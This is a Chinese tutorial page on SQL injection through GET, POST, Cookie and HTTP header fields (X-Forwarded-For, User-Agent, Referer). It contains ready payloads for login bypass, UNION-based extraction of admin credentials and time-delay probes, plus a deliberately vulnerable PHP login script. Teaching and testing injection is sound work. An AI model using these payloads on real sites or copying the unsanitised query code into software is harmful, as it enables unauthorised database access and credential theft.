secskill
Search…
⌃K

1.1.2 mothod注入利用

本文将介绍四种提交方式的注入
  • Get
  • Post
  • Cookie
  • Http头

GET注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。 之前的都是get注入,这里不再赘述,着重介绍下其他的注入

POST注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
万能密码测试
' or 1=1#
猜字段数
' order by 4#
猜表名
'or 1=1 union select 1,2,3,4 #
猜内容
替换1,2,3为你想要获得的内容
'or 1=1 union select 1,version(),3,4 #
测试代码
<form action="" method="POST">
用户:<input name="u" type="test" /></br></br>
密码:<input name="p" type="test" /></br></br>
<input name="" type="submit" value="登录"/></br></br>
</form>
<?php
$username=$_POST['u'];
$password=$_POST['p'];
$conn=mysql_connect("127.0.0.1","root","root");
mysql_select_db("fendo",$conn);
$sql="select * from user where username='$username' and password='$password'";
$result=mysql_query($sql);
//数组遍历结果选择显示
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
}
echo '执行的sql语句为'.$sql;
mysql_close($conn);
?>
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。
要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用于从用户那里获取信息。Request对象的使用方法一般是这样的:request.[集合名称](参数名称),比如获取从表单中提交的数据时可以这样写:request.form("参数名称"),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request("参数名称"),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,Cookie注入就产生了。
Cookie注入典型步骤
1.寻找形如“.asp?id=xx”类的带参数的URL。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。
4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:
“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。
5.使用常规注入语句进行注入即可。
1.寻找形如“.asp?id=xx”类的带参数的URL。
提示包好非法字符串,这是由于它对POST/GET进行了过滤。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。
4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的
URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” URL:“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入
猜解内容
javascript:alert(document.cookie="id="+escape("27 union select 1,username,password,4,5,6,7,8,9,10,11 from admin "));

http头注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
常见的http注入的参数
  1. 1.
    HTTP_CLIENT_IP
  2. 2.
    ‘HTTP_X_FORWARDED_FOR’,
  3. 3.
    ‘HTTP_X_FORWARDED’,
  4. 4.
    ‘HTTP_X_CLUSTER_CLIENT_IP’,
  5. 5.
    ‘HTTP_FORWARDED_FOR’,
  6. 6.
    ‘HTTP_FORWARDED’,
  7. 7.
    ‘REMOTE_ADDR
  8. 8.
    User-agent
  9. 9.
    Referer
利用X-Forwarded-For进行sql注入
由于系统一般会采用String ip = request.getHeader("X-Forwarded-For");进行获取ip,然后注入者就可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip也可以是一些注入语句,如下
X-Forwarded-For:payload';WAITFOR DELAY '0:0:5'--
String sql = "select * from table where ip = '"+ip+"'";
那么我们得到的sql语句就会是这样
select * from table where ip = payload';WAITFOR DELAY '0:0:5'--'
注入测试
修改其中的X-Forward-Type的值
说明这个参数可控 将所需的SQL语句带入查询即可
这个头字段可以像下面这样简单地修改:
GET /index.php HTTP/1.1 Host: [host] X_FORWARDED_FOR :127.0.0.1' or 1=1#
这样的修改将会导致绕过安全认证。
User-agent
用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。 并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。 HTTP查询实例:
GET /index.php HTTP/1.1 Host: [host] User-Agent: aaa' or 1/*
Referer
Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。它允许服务器产生一系列的回退链接文档,像感兴趣的内容,日志等。它也允许跟踪那些坏链接以便维护。 例如:
GET /index.php HTTP/1.1 Host: [host] User-Agent: aaa' or 1/* Referer: http://www.yaboukir.com